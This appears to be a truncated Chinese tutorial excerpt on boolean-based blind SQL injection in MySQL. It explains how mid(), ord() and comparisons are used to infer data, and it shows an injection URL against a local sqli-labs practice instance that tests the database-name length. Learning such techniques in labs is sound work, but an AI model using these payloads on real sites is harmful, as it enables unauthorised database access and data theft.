MYSQL布爾注入

MYSQL布爾注入 原理爲利用mid()獲取字符，利用ord()將字符轉爲ASCII碼，利用>、<和=來確定字符的範圍。 獲取數據庫名長度 http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1>2 or length(database())=8# 獲取數據庫名 http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’

>>阅读原文<<